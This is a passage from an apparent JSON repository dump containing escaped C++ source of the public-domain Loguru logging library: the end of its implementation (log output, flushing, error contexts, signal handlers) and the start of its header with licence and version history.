\"| \");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t}\n\n\t// stack_trace_skip is just if verbosity == FATAL.\n\tstatic void log_message(int stack_trace_skip, Message & message, bool with_indentation, bool abort_if_fatal)\n\t{\n\t\tconst auto verbosity = message.verbosity;\n\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\n\t\tif (message.verbosity == Verbosity_FATAL) {\n\t\t\tauto st = loguru::stacktrace(stack_trace_skip + 2);\n\t\t\tif (!st.empty()) {\n\t\t\t\tRAW_LOG_F(ERROR, \"Stack trace:\\n\" LOGURU_FMT(s) \"\", st.c_str());\n\t\t\t}\n\n\t\t\tauto ec = loguru::get_error_context();\n\t\t\tif (!ec.empty()) {\n\t\t\t\tRAW_LOG_F(ERROR, \"\" LOGURU_FMT(s) \"\", ec.c_str());\n\t\t\t}\n\t\t}\n\n\t\tif (with_indentation) {\n\t\t\tmessage.indentation = indentation(s_stderr_indentation);\n\t\t}\n\n\t\tif (verbosity <= g_stderr_verbosity) {\n\t\t\tif (g_colorlogtostderr && s_terminal_has_color) {\n\t\t\t\tif (verbosity > Verbosity_WARNING) {\n\t\t\t\t\tfprintf(stderr, \"%s%s%s%s%s%s%s%s\\n\",\n\t\t\t\t\t\tterminal_reset(),\n\t\t\t\t\t\tterminal_dim(),\n\t\t\t\t\t\tmessage.preamble,\n\t\t\t\t\t\tmessage.indentation,\n\t\t\t\t\t\tverbosity == Verbosity_INFO ? terminal_reset() : \"\", // un-dim for info\n\t\t\t\t\t\tmessage.prefix,\n\t\t\t\t\t\tmessage.message,\n\t\t\t\t\t\tterminal_reset());\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tfprintf(stderr, \"%s%s%s%s%s%s%s\\n\",\n\t\t\t\t\t\tterminal_reset(),\n\t\t\t\t\t\tverbosity == Verbosity_WARNING ? terminal_yellow() : terminal_red(),\n\t\t\t\t\t\tmessage.preamble,\n\t\t\t\t\t\tmessage.indentation,\n\t\t\t\t\t\tmessage.prefix,\n\t\t\t\t\t\tmessage.message,\n\t\t\t\t\t\tterminal_reset());\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tfprintf(stderr, \"%s%s%s%s\\n\",\n\t\t\t\t\tmessage.preamble, message.indentation, message.prefix, message.message);\n\t\t\t}\n\n\t\t\tif (g_flush_interval_ms == 0) {\n\t\t\t\tfflush(stderr);\n\t\t\t}\n\t\t\telse {\n\t\t\t\ts_needs_flushing = true;\n\t\t\t}\n\t\t}\n\n\t\tfor (auto& p : s_callbacks) {\n\t\t\tif (verbosity <= p.verbosity) {\n\t\t\t\tif (with_indentation) {\n\t\t\t\t\tmessage.indentation = indentation(p.indentation);\n\t\t\t\t}\n\t\t\t\tp.callback(p.user_data, message);\n\t\t\t\tif (g_flush_interval_ms == 0) {\n\t\t\t\t\tif (p.flush) { p.flush(p.user_data); }\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\ts_needs_flushing = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (g_flush_interval_ms > 0 && !s_flush_thread) {\n\t\t\ts_flush_thread = new std::thread([]() {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (s_needs_flushing) {\n\t\t\t\t\t\tflush();\n\t\t\t\t\t}\n\t\t\t\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(g_flush_interval_ms));\n\t\t\t\t}\n\t\t\t\t});\n\t\t}\n\n\t\tif (message.verbosity == Verbosity_FATAL) {\n\t\t\tflush();\n\n\t\t\tif (s_fatal_handler) {\n\t\t\t\ts_fatal_handler(message);\n\t\t\t\tflush();\n\t\t\t}\n\n\t\t\tif (abort_if_fatal) {\n#if !defined(_WIN32)\n\t\t\t\tif (s_signal_options.sigabrt) {\n\t\t\t\t\t// Make sure we don't catch our own abort:\n\t\t\t\t\tsignal(SIGABRT, SIG_DFL);\n\t\t\t\t}\n#endif\n\t\t\t\tabort();\n\t\t\t}\n\t\t}\n\t}\n\n\t// stack_trace_skip is just if verbosity == FATAL.\n\tvoid log_to_everywhere(int stack_trace_skip, Verbosity verbosity,\n\t\tconst char* file, unsigned line,\n\t\tconst char* prefix, const char* buff)\n\t{\n\t\tchar preamble_buff[LOGURU_PREAMBLE_WIDTH];\n\t\tprint_preamble(preamble_buff, sizeof(preamble_buff), verbosity, file, line);\n\t\tauto message = Message{ verbosity, file, line, preamble_buff, \"\", prefix, buff };\n\t\tlog_message(stack_trace_skip + 1, message, true, true);\n\t}\n\n#if LOGURU_USE_FMTLIB\n\tvoid vlog(Verbosity verbosity, const char* file, unsigned line, const char* format, fmt::format_args args)\n\t{\n\t\tauto formatted = fmt::vformat(format, args);\n\t\tlog_to_everywhere(1, verbosity, file, line, \"\", formatted.c_str());\n\t}\n\n\tvoid raw_vlog(Verbosity verbosity, const char* file, unsigned line, const char* format, fmt::format_args args)\n\t{\n\t\tauto formatted = fmt::vformat(format, args);\n\t\tauto message = Message{ verbosity, file, line, \"\", \"\", \"\", formatted.c_str() };\n\t\tlog_message(1, message, false, true);\n\t}\n#else\n\tvoid log(Verbosity verbosity, const char* file, unsigned line, const char* format, ...)\n\t{\n\t\tva_list vlist;\n\t\tva_start(vlist, format);\n\t\tvlog(verbosity, file, line, format, vlist);\n\t\tva_end(vlist);\n\t}\n\n\tvoid vlog(Verbosity verbosity, const char* file, unsigned line, const char* format, va_list vlist)\n\t{\n\t\tauto buff = vtextprintf(format, vlist);\n\t\tlog_to_everywhere(1, verbosity, file, line, \"\", buff.c_str());\n\t}\n\n\tvoid raw_log(Verbosity verbosity, const char* file, unsigned line, const char* format, ...)\n\t{\n\t\tva_list vlist;\n\t\tva_start(vlist, format);\n\t\tauto buff = vtextprintf(format, vlist);\n\t\tauto message = Message{ verbosity, file, line, \"\", \"\", \"\", buff.c_str() };\n\t\tlog_message(1, message, false, true);\n\t\tva_end(vlist);\n\t}\n#endif\n\n\tvoid flush()\n\t{\n\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\t\tfflush(stderr);\n\t\tfor (const auto& callback : s_callbacks)\n\t\t{\n\t\t\tif (callback.flush) {\n\t\t\t\tcallback.flush(callback.user_data);\n\t\t\t}\n\t\t}\n\t\ts_needs_flushing = false;\n\t}\n\n\tLogScopeRAII::LogScopeRAII(Verbosity verbosity, const char* file, unsigned line, const char* format, va_list vlist) :\n\t\t_verbosity(verbosity), _file(file), _line(line)\n\t{\n\t\tthis->Init(format, vlist);\n\t}\n\n\tLogScopeRAII::LogScopeRAII(Verbosity verbosity, const char* file, unsigned line, const char* format, ...) :\n\t\t_verbosity(verbosity), _file(file), _line(line)\n\t{\n\t\tva_list vlist;\n\t\tva_start(vlist, format);\n\t\tthis->Init(format, vlist);\n\t\tva_end(vlist);\n\t}\n\n\tLogScopeRAII::~LogScopeRAII()\n\t{\n\t\tif (_file) {\n\t\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\t\t\tif (_indent_stderr && s_stderr_indentation > 0) {\n\t\t\t\t--s_stderr_indentation;\n\t\t\t}\n\t\t\tfor (auto& p : s_callbacks) {\n\t\t\t\t// Note: Callback indentation cannot change!\n\t\t\t\tif (_verbosity <= p.verbosity) {\n\t\t\t\t\t// in unlikely case this callback is new\n\t\t\t\t\tif (p.indentation > 0) {\n\t\t\t\t\t\t--p.indentation;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n#if LOGURU_VERBOSE_SCOPE_ENDINGS\n\t\t\tauto duration_sec = static_cast<double>(now_ns() - _start_time_ns) / 1e9;\n#if LOGURU_USE_FMTLIB\n\t\t\tauto buff = textprintf(\"{:.{}f} s: {:s}\", duration_sec, LOGURU_SCOPE_TIME_PRECISION, _name);\n#else\n\t\t\tauto buff = textprintf(\"%.*f s: %s\", LOGURU_SCOPE_TIME_PRECISION, duration_sec, _name);\n#endif\n\t\t\tlog_to_everywhere(1, _verbosity, _file, _line, \"} \", buff.c_str());\n#else\n\t\t\tlog_to_everywhere(1, _verbosity, _file, _line, \"}\", \"\");\n#endif\n\t\t}\n\t}\n\n\tvoid LogScopeRAII::Init(const char* format, va_list vlist)\n\t{\n\t\tif (_verbosity <= current_verbosity_cutoff()) {\n\t\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\t\t\t_indent_stderr = (_verbosity <= g_stderr_verbosity);\n\t\t\t_start_time_ns = now_ns();\n\t\t\tvsnprintf(_name, sizeof(_name), format, vlist);\n\t\t\tlog_to_everywhere(1, _verbosity, _file, _line, \"{ \", _name);\n\n\t\t\tif (_indent_stderr) {\n\t\t\t\t++s_stderr_indentation;\n\t\t\t}\n\n\t\t\tfor (auto& p : s_callbacks) {\n\t\t\t\tif (_verbosity <= p.verbosity) {\n\t\t\t\t\t++p.indentation;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t_file = nullptr;\n\t\t}\n\t}\n\n#if LOGURU_USE_FMTLIB\n\tvoid vlog_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line, const char* format, fmt::format_args args)\n\t{\n\t\tauto formatted = fmt::vformat(format, args);\n\t\tlog_to_everywhere(stack_trace_skip + 1, Verbosity_FATAL, file, line, expr, formatted.c_str());\n\t\tabort(); // log_to_everywhere already does this, but this makes the analyzer happy.\n\t}\n#else\n\tvoid log_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line, const char* format, ...)\n\t{\n\t\tva_list vlist;\n\t\tva_start(vlist, format);\n\t\tauto buff = vtextprintf(format, vlist);\n\t\tlog_to_everywhere(stack_trace_skip + 1, Verbosity_FATAL, file, line, expr, buff.c_str());\n\t\tva_end(vlist);\n\t\tabort(); // log_to_everywhere already does this, but this makes the analyzer happy.\n\t}\n#endif\n\n\tvoid log_and_abort(int stack_trace_skip, const char* expr, const char* file, unsigned line)\n\t{\n\t\tlog_and_abort(stack_trace_skip + 1, expr, file, line, \" \");\n\t}\n\n\t// ----------------------------------------------------------------------------\n\t// Streams:\n\n#if LOGURU_USE_FMTLIB\n\ttemplate<typename... Args>\n\tstd::string vstrprintf(const char* format, const Args&... args)\n\t{\n\t\tauto text = textprintf(format, args...);\n\t\tstd::string result = text.c_str();\n\t\treturn result;\n\t}\n\n\ttemplate<typename... Args>\n\tstd::string strprintf(const char* format, const Args&... args)\n\t{\n\t\treturn vstrprintf(format, args...);\n\t}\n#else\n\tstd::string vstrprintf(const char* format, va_list vlist)\n\t{\n\t\tauto text = vtextprintf(format, vlist);\n\t\tstd::string result = text.c_str();\n\t\treturn result;\n\t}\n\n\tstd::string strprintf(const char* format, ...)\n\t{\n\t\tva_list vlist;\n\t\tva_start(vlist, format);\n\t\tauto result = vstrprintf(format, vlist);\n\t\tva_end(vlist);\n\t\treturn result;\n\t}\n#endif\n\n#if LOGURU_WITH_STREAMS\n\n\tStreamLogger::~StreamLogger() noexcept(false)\n\t{\n\t\tauto message = _ss.str();\n\t\tlog(_verbosity, _file, _line, LOGURU_FMT(s), message.c_str());\n\t}\n\n\tAbortLogger::~AbortLogger() noexcept(false)\n\t{\n\t\tauto message = _ss.str();\n\t\tloguru::log_and_abort(1, _expr, _file, _line, LOGURU_FMT(s), message.c_str());\n\t}\n\n#endif // LOGURU_WITH_STREAMS\n\n\t// ----------------------------------------------------------------------------\n\t// 888888 88\"\"Yb 88\"\"Yb  dP\"Yb  88\"\"Yb      dP\"\"b8  dP\"Yb  88b 88 888888 888888 Yb  dP 888888\n\t// 88__   88__dP 88__dP dP   Yb 88__dP     dP   `\" dP   Yb 88Yb88   88   88__    YbdP    88\n\t// 88\"\"   88\"Yb  88\"Yb  Yb   dP 88\"Yb      Yb      Yb   dP 88 Y88   88   88\"\"    dPYb    88\n\t// 888888 88  Yb 88  Yb  YbodP  88  Yb      YboodP  YbodP  88  Y8   88   888888 dP  Yb   88\n\t// ----------------------------------------------------------------------------\n\n\tstruct StringStream\n\t{\n\t\tstd::string str;\n\t};\n\n\t// Use this in your EcPrinter implementations.\n\tvoid stream_print(StringStream & out_string_stream, const char* text)\n\t{\n\t\tout_string_stream.str += text;\n\t}\n\n\t// ----------------------------------------------------------------------------\n\n\tusing ECPtr = EcEntryBase*;\n\n#if defined(_WIN32) || (defined(__APPLE__) && !TARGET_OS_IPHONE)\n#ifdef __APPLE__\n#define LOGURU_THREAD_LOCAL __thread\n#else\n#define LOGURU_THREAD_LOCAL thread_local\n#endif\n\tstatic LOGURU_THREAD_LOCAL ECPtr thread_ec_ptr = nullptr;\n\n\tECPtr& get_thread_ec_head_ref()\n\t{\n\t\treturn thread_ec_ptr;\n\t}\n#else // !thread_local\n\tstatic pthread_once_t s_ec_pthread_once = PTHREAD_ONCE_INIT;\n\tstatic pthread_key_t  s_ec_pthread_key;\n\n\tvoid free_ec_head_ref(void* io_error_context)\n\t{\n\t\tdelete reinterpret_cast<ECPtr*>(io_error_context);\n\t}\n\n\tvoid ec_make_pthread_key()\n\t{\n\t\t(void)pthread_key_create(&s_ec_pthread_key, free_ec_head_ref);\n\t}\n\n\tECPtr& get_thread_ec_head_ref()\n\t{\n\t\t(void)pthread_once(&s_ec_pthread_once, ec_make_pthread_key);\n\t\tauto ec = reinterpret_cast<ECPtr*>(pthread_getspecific(s_ec_pthread_key));\n\t\tif (ec == nullptr) {\n\t\t\tec = new ECPtr(nullptr);\n\t\t\t(void)pthread_setspecific(s_ec_pthread_key, ec);\n\t\t}\n\t\treturn *ec;\n\t}\n#endif // !thread_local\n\n\t// ----------------------------------------------------------------------------\n\n\tEcHandle get_thread_ec_handle()\n\t{\n\t\treturn get_thread_ec_head_ref();\n\t}\n\n\tText get_error_context()\n\t{\n\t\treturn get_error_context_for(get_thread_ec_head_ref());\n\t}\n\n\tText get_error_context_for(const EcEntryBase * ec_head)\n\t{\n\t\tstd::vector<const EcEntryBase*> stack;\n\t\twhile (ec_head) {\n\t\t\tstack.push_back(ec_head);\n\t\t\tec_head = ec_head->_previous;\n\t\t}\n\t\tstd::reverse(stack.begin(), stack.end());\n\n\t\tStringStream result;\n\t\tif (!stack.empty()) {\n\t\t\tresult.str += \"------------------------------------------------\\n\";\n\t\t\tfor (auto entry : stack) {\n\t\t\t\tconst auto description = std::string(entry->_descr) + \":\";\n#if LOGURU_USE_FMTLIB\n\t\t\t\tauto prefix = textprintf(\"[ErrorContext] {.{}s}:{:-5u} {:-20s} \",\n\t\t\t\t\tfilename(entry->_file), LOGURU_FILENAME_WIDTH, entry->_line, description.c_str());\n#else\n\t\t\t\tauto prefix = textprintf(\"[ErrorContext] %*s:%-5u %-20s \",\n\t\t\t\t\tLOGURU_FILENAME_WIDTH, filename(entry->_file), entry->_line, description.c_str());\n#endif\n\t\t\t\tresult.str += prefix.c_str();\n\t\t\t\tentry->print_value(result);\n\t\t\t\tresult.str += \"\\n\";\n\t\t\t}\n\t\t\tresult.str += \"------------------------------------------------\";\n\t\t}\n\t\treturn Text(STRDUP(result.str.c_str()));\n\t}\n\n\tEcEntryBase::EcEntryBase(const char* file, unsigned line, const char* descr)\n\t\t: _file(file), _line(line), _descr(descr)\n\t{\n\t\tEcEntryBase*& ec_head = get_thread_ec_head_ref();\n\t\t_previous = ec_head;\n\t\tec_head = this;\n\t}\n\n\tEcEntryBase::~EcEntryBase()\n\t{\n\t\tget_thread_ec_head_ref() = _previous;\n\t}\n\n\t// ------------------------------------------------------------------------\n\n\tText ec_to_text(const char* value)\n\t{\n\t\t// Add quotes around the string to make it obvious where it begin and ends.\n\t\t// This is great for detecting erroneous leading or trailing spaces in e.g. an identifier.\n\t\tauto str = \"\\\"\" + std::string(value) + \"\\\"\";\n\t\treturn Text{ STRDUP(str.c_str()) };\n\t}\n\n\tText ec_to_text(char c)\n\t{\n\t\t// Add quotes around the character to make it obvious where it begin and ends.\n\t\tstd::string str = \"'\";\n\n\t\tauto write_hex_digit = [&](unsigned num)\n\t\t{\n\t\t\tif (num < 10u) { str += char('0' + num); }\n\t\t\telse { str += char('a' + num - 10); }\n\t\t};\n\n\t\tauto write_hex_16 = [&](uint16_t n)\n\t\t{\n\t\t\twrite_hex_digit((n >> 12u) & 0x0f);\n\t\t\twrite_hex_digit((n >> 8u) & 0x0f);\n\t\t\twrite_hex_digit((n >> 4u) & 0x0f);\n\t\t\twrite_hex_digit((n >> 0u) & 0x0f);\n\t\t};\n\n\t\tif (c == '\\\\') { str += \"\\\\\\\\\"; }\n\t\telse if (c == '\\\"') { str += \"\\\\\\\"\"; }\n\t\telse if (c == '\\'') { str += \"\\\\\\'\"; }\n\t\telse if (c == '\\0') { str += \"\\\\0\"; }\n\t\telse if (c == '\\b') { str += \"\\\\b\"; }\n\t\telse if (c == '\\f') { str += \"\\\\f\"; }\n\t\telse if (c == '\\n') { str += \"\\\\n\"; }\n\t\telse if (c == '\\r') { str += \"\\\\r\"; }\n\t\telse if (c == '\\t') { str += \"\\\\t\"; }\n\t\telse if (0 <= c && c < 0x20) {\n\t\t\tstr += \"\\\\u\";\n\t\t\twrite_hex_16(static_cast<uint16_t>(c));\n\t\t}\n\t\telse { str += c; }\n\n\t\tstr += \"'\";\n\n\t\treturn Text{ STRDUP(str.c_str()) };\n\t}\n\n#define DEFINE_EC(Type)                        \\\n\t\tText ec_to_text(Type value)                \\\n\t\t{                                          \\\n\t\t\tauto str = std::to_string(value);      \\\n\t\t\treturn Text{STRDUP(str.c_str())};      \\\n\t\t}\n\n\tDEFINE_EC(int)\n\t\tDEFINE_EC(unsigned int)\n\t\tDEFINE_EC(long)\n\t\tDEFINE_EC(unsigned long)\n\t\tDEFINE_EC(long long)\n\t\tDEFINE_EC(unsigned long long)\n\t\tDEFINE_EC(float)\n\t\tDEFINE_EC(double)\n\t\tDEFINE_EC(long double)\n\n#undef DEFINE_EC\n\n\t\tText ec_to_text(EcHandle ec_handle)\n\t{\n\t\tText parent_ec = get_error_context_for(ec_handle);\n\t\tsize_t buffer_size = strlen(parent_ec.c_str()) + 2;\n\t\tchar* with_newline = reinterpret_cast<char*>(malloc(buffer_size));\n\t\twith_newline[0] = '\\n';\n#ifdef _WIN32\n\t\tstrncpy_s(with_newline + 1, buffer_size, parent_ec.c_str(), buffer_size - 2);\n#else\n\t\tstrcpy(with_newline + 1, parent_ec.c_str());\n#endif\n\t\treturn Text(with_newline);\n\t}\n\n\t// ----------------------------------------------------------------------------\n\n\t} // namespace loguru\n\n\t// ----------------------------------------------------------------------------\n\t// .dP\"Y8 88  dP\"\"b8 88b 88    db    88     .dP\"Y8\n\t// `Ybo.\" 88 dP   `\" 88Yb88   dPYb   88     `Ybo.\"\n\t// o.`Y8b 88 Yb  \"88 88 Y88  dP__Yb  88  .o o.`Y8b\n\t// 8bodP' 88  YboodP 88  Y8 dP\"\"\"\"Yb 88ood8 8bodP'\n\t// ----------------------------------------------------------------------------\n\n#ifdef _WIN32\nnamespace loguru {\n\tvoid install_signal_handlers(const SignalOptions& signal_options)\n\t{\n\t\t(void)signal_options;\n\t\t// TODO: implement signal handlers on windows\n\t}\n} // namespace loguru\n\n#else // _WIN32\n\nnamespace loguru\n{\n\tvoid write_to_stderr(const char* data, size_t size)\n\t{\n\t\tauto result = write(STDERR_FILENO, data, size);\n\t\t(void)result; // Ignore errors.\n\t}\n\n\tvoid write_to_stderr(const char* data)\n\t{\n\t\twrite_to_stderr(data, strlen(data));\n\t}\n\n\tvoid call_default_signal_handler(int signal_number)\n\t{\n\t\tstruct sigaction sig_action;\n\t\tmemset(&sig_action, 0, sizeof(sig_action));\n\t\tsigemptyset(&sig_action.sa_mask);\n\t\tsig_action.sa_handler = SIG_DFL;\n\t\tsigaction(signal_number, &sig_action, NULL);\n\t\tkill(getpid(), signal_number);\n\t}\n\n\tvoid signal_handler(int signal_number, siginfo_t*, void*)\n\t{\n\t\tconst char* signal_name = \"UNKNOWN SIGNAL\";\n\n\t\tif (signal_number == SIGABRT) { signal_name = \"SIGABRT\"; }\n\t\tif (signal_number == SIGBUS) { signal_name = \"SIGBUS\"; }\n\t\tif (signal_number == SIGFPE) { signal_name = \"SIGFPE\"; }\n\t\tif (signal_number == SIGILL) { signal_name = \"SIGILL\"; }\n\t\tif (signal_number == SIGINT) { signal_name = \"SIGINT\"; }\n\t\tif (signal_number == SIGSEGV) { signal_name = \"SIGSEGV\"; }\n\t\tif (signal_number == SIGTERM) { signal_name = \"SIGTERM\"; }\n\n\t\t// --------------------------------------------------------------------\n\t\t/* There are few things that are safe to do in a signal handler,\n\t\t   but writing to stderr is one of them.\n\t\t   So we first print out what happened to stderr so we're sure that gets out,\n\t\t   then we do the unsafe things, like logging the stack trace.\n\t\t*/\n\n\t\tif (g_colorlogtostderr && s_terminal_has_color) {\n\t\t\twrite_to_stderr(terminal_reset());\n\t\t\twrite_to_stderr(terminal_bold());\n\t\t\twrite_to_stderr(terminal_light_red());\n\t\t}\n\t\twrite_to_stderr(\"\\n\");\n\t\twrite_to_stderr(\"Loguru caught a signal: \");\n\t\twrite_to_stderr(signal_name);\n\t\twrite_to_stderr(\"\\n\");\n\t\tif (g_colorlogtostderr && s_terminal_has_color) {\n\t\t\twrite_to_stderr(terminal_reset());\n\t\t}\n\n\t\t// --------------------------------------------------------------------\n\n\t\tif (s_signal_options.unsafe_signal_handler) {\n\t\t\t// --------------------------------------------------------------------\n\t\t\t/* Now we do unsafe things. This can for example lead to deadlocks if\n\t\t\t   the signal was triggered from the system's memory management functions\n\t\t\t   and the code below tries to do allocations.\n\t\t\t*/\n\n\t\t\tflush();\n\t\t\tchar preamble_buff[LOGURU_PREAMBLE_WIDTH];\n\t\t\tprint_preamble(preamble_buff, sizeof(preamble_buff), Verbosity_FATAL, \"\", 0);\n\t\t\tauto message = Message{ Verbosity_FATAL, \"\", 0, preamble_buff, \"\", \"Signal: \", signal_name };\n\t\t\ttry {\n\t\t\t\tlog_message(1, message, false, false);\n\t\t\t}\n\t\t\tcatch (...) {\n\t\t\t\t// This can happed due to s_fatal_handler.\n\t\t\t\twrite_to_stderr(\"Exception caught and ignored by Loguru signal handler.\\n\");\n\t\t\t}\n\t\t\tflush();\n\n\t\t\t// --------------------------------------------------------------------\n\t\t}\n\n\t\tcall_default_signal_handler(signal_number);\n\t}\n\n\tvoid install_signal_handlers(const SignalOptions& signal_options)\n\t{\n\t\ts_signal_options = signal_options;\n\n\t\tstruct sigaction sig_action;\n\t\tmemset(&sig_action, 0, sizeof(sig_action));\n\t\tsigemptyset(&sig_action.sa_mask);\n\t\tsig_action.sa_flags |= SA_SIGINFO;\n\t\tsig_action.sa_sigaction = &signal_handler;\n\n\t\tif (signal_options.sigabrt) {\n\t\t\tCHECK_F(sigaction(SIGABRT, &sig_action, NULL) != -1, \"Failed to install handler for SIGABRT\");\n\t\t}\n\t\tif (signal_options.sigbus) {\n\t\t\tCHECK_F(sigaction(SIGBUS, &sig_action, NULL) != -1, \"Failed to install handler for SIGBUS\");\n\t\t}\n\t\tif (signal_options.sigfpe) {\n\t\t\tCHECK_F(sigaction(SIGFPE, &sig_action, NULL) != -1, \"Failed to install handler for SIGFPE\");\n\t\t}\n\t\tif (signal_options.sigill) {\n\t\t\tCHECK_F(sigaction(SIGILL, &sig_action, NULL) != -1, \"Failed to install handler for SIGILL\");\n\t\t}\n\t\tif (signal_options.sigint) {\n\t\t\tCHECK_F(sigaction(SIGINT, &sig_action, NULL) != -1, \"Failed to install handler for SIGINT\");\n\t\t}\n\t\tif (signal_options.sigsegv) {\n\t\t\tCHECK_F(sigaction(SIGSEGV, &sig_action, NULL) != -1, \"Failed to install handler for SIGSEGV\");\n\t\t}\n\t\tif (signal_options.sigterm) {\n\t\t\tCHECK_F(sigaction(SIGTERM, &sig_action, NULL) != -1, \"Failed to install handler for SIGTERM\");\n\t\t}\n\t}\n} // namespace loguru\n\n#endif // _WIN32\n\n\n#if defined(__GNUC__) || defined(__clang__)\n#pragma GCC diagnostic pop\n#elif defined(_MSC_VER)\n#pragma warning(pop)\n#endif\n\nLOGURU_ANONYMOUS_NAMESPACE_END\n\n#endif // LOGURU_IMPLEMENTATION"
  },
  {
    "path": "RedEdrShared/loguru.hpp",
    "content": "/*\nLoguru logging library for C++, by Emil Ernerfeldt.\nwww.github.com/emilk/loguru\nIf you find Loguru useful, please let me know on twitter or in a mail!\nTwitter: @ernerfeldt\nMail:    emil.ernerfeldt@gmail.com\nWebsite: www.ilikebigbits.com\n\n# License\n\tThis software is in the public domain. Where that dedication is not\n\trecognized, you are granted a perpetual, irrevocable license to\n\tcopy, modify and distribute it as you see fit.\n\n# Inspiration\n\tMuch of Loguru was inspired by GLOG, https://code.google.com/p/google-glog/.\n\tThe choice of public domain is fully due Sean T. Barrett\n\tand his wonderful stb libraries at https://github.com/nothings/stb.\n\n# Version history\n\t* Version 0.1.0 - 2015-03-22 - Works great on Mac.\n\t* Version 0.2.0 - 2015-09-17 - Removed the only dependency.\n\t* Version 0.3.0 - 2015-10-02 - Drop-in replacement for most of GLOG\n\t* Version 0.4.0 - 2015-10-07 - Single-file!\n\t* Version 0.5.0 - 2015-10-17 - Improved file logging\n\t* Version 0.6.0 - 2015-10-24 - Add stack traces\n\t* Version 0.7.0 - 2015-10-27 - Signals\n\t* Version 0.8.0 - 2015-10-30 - Color logging.\n\t* Version 0.9.0 - 2015-11-26 - ABORT_S and proper handling of FATAL\n\t* Version 1.0.0 - 2016-02-14 - ERROR_CONTEXT\n\t* Version 1.1.0 - 2016-02-19 - -v OFF, -v INFO etc\n\t* Version 1.1.1 - 2016-02-20 - textprintf vs strprintf\n\t* Version 1.1.2 - 2016-02-22 - Remove g_alsologtostderr\n\t* Version 1.1.3 - 2016-02-29 - ERROR_CONTEXT as linked list\n\t* Version 1.2.0 - 2016-03-19 - Add get_thread_name()\n\t* Version 1.2.1 - 2016-03-20 - Minor fixes\n\t* Version 1.2.2 - 2016-03-29 - Fix issues with set_fatal_handler throwing an exception\n\t* Version 1.2.3 - 2016-05-16 - Log current working directory in loguru::init().\n\t* Version 1.2.4 - 2016-05-18 - Custom replacement for -v in loguru::init() by bjoernpollex\n\t* Version 1.2.5 - 2016-05-18 - Add ability to print ERROR_CONTEXT of parent thread.\n\t* Version 1.2.6 - 2016-05-19 - Bug fix regarding VLOG verbosity argument lacking ().\n\t* Version 1.2.7 - 2016-05-23 - Fix PATH_MAX problem.\n\t* Version 1.2.8 - 2016-05-26 - Add shutdown() and remove_all_callbacks()\n\t* Version 1.2.9 - 2016-06-09 - Use a monotonic clock for uptime.\n\t* Version 1.3.0 - 2016-07-20 - Fix issues with callback flush/close not being called.\n\t* Version 1.3.1 - 2016-07-20 - Add LOGURU_UNSAFE_SIGNAL_HANDLER to toggle stacktrace on signals.\n\t* Version 1.3.2 - 2016-07-20 - Add loguru::arguments()\n\t* Version 1.4.0 - 2016-09-15 - Semantic versioning + add loguru::create_directories\n\t* Version 1.4.1 - 2016-09-29 - Customize formating with LOGURU_FILENAME_WIDTH\n\t* Version 1.5.0 - 2016-12-22 - LOGURU_USE_FMTLIB by kolis and LOGURU_WITH_FILEABS by scinart\n\t* Version 1.5.1 - 2017-08-08 - Terminal colors on Windows 10 thanks to looki\n\t* Version 1.6.0 - 2018-01-03 - Add LOGURU_RTTI and LOGURU_STACKTRACES settings\n\t* Version 1.7.0 - 2018-01-03 - Add ability to turn off the preamble with loguru::g_preamble\n\t* Version 1.7.1 - 2018-04-05 - Add function get_fatal_handler\n\t* Version 1.7.2 - 2018-04-22 - Fix a bug where large file names could cause stack corruption (thanks @ccamporesi)\n\t* Version 1.8.0 - 2018-04-23 - Shorten long file names to keep preamble fixed width\n\t* Version 1.9.0 - 2018-09-22 - Adjust terminal colors, add LOGURU_VERBOSE_SCOPE_ENDINGS, add LOGURU_SCOPE_TIME_PRECISION, add named log levels\n\t* Version 2.0.0 - 2018-09-22 - Split loguru.hpp into loguru.hpp and loguru.cpp\n\t* Version 2.1.0 - 2019-09-23 - Update fmtlib + add option to loguru::init to NOT set main thread name.\n\t* Version 2.2.0 - 2020-07-31 - Replace LOGURU_CATCH_SIGABRT with struct SignalOptions\n\n# Compiling\n\tJust include <loguru.hpp> where you want to use Loguru.\n\tThen, in one .cpp file #include <loguru.cpp>\n\tMake sure you compile with -std=c++11 -lstdc++ -lpthread -ldl\n\n# Usage\n\tFor details, please see the official documentation at emilk.github.io/loguru\n\n\t#include <loguru.hpp>\n\n\tint main(int argc, char* argv[]) {\n\t\tloguru::init(argc, argv);\n\n\t\t// Put every log message in \"everything.log\":\n\t\tloguru::add_file(\"everything.log\", loguru::Append, loguru::Verbosity_MAX);\n\n\t\tLOG_F(INFO, \"The magic number is %d\", 42);\n\t}\n\n*/\n\n#if defined(LOGURU_IMPLEMENTATION)\n#error \"You are defining LOGURU_IMPLEMENTATION. This is for older versions of Loguru. You should now instead include loguru.cpp (or build it and link with it)\"\n#endif\n\n// Disable all warnings from gcc/clang:\n#if defined(__clang__)\n#pragma clang system_header\n#elif defined(__GNUC__)\n#pragma GCC system_header\n#endif\n\n#ifndef LOGURU_HAS_DECLARED_FORMAT_HEADER\n#define LOGURU_HAS_DECLARED_FORMAT_HEADER\n\n// Semantic versioning. Loguru version can be printed with printf(\"%d.%d.%d\", LOGURU_VERSION_MAJOR, LOGURU_VERSION_MINOR, LOGURU_VERSION_PATCH);\n#define LOGURU_VERSION_MAJOR 2\n#define LOGURU_VERSION_MINOR 1\n#define LOGURU_VERSION_PATCH 0\n\n#if defined(_MSC_VER)\n#include <sal.h>\t// Needed for _In_z_ etc annotations\n#endif\n\n#if defined(__linux__) || defined(__APPLE__)\n#define LOGURU_SYSLOG 1\n#else\n#define LOGURU_SYSLOG 0\n#endif\n\n// ----------------------------------------------------------------------------\n\n#ifndef 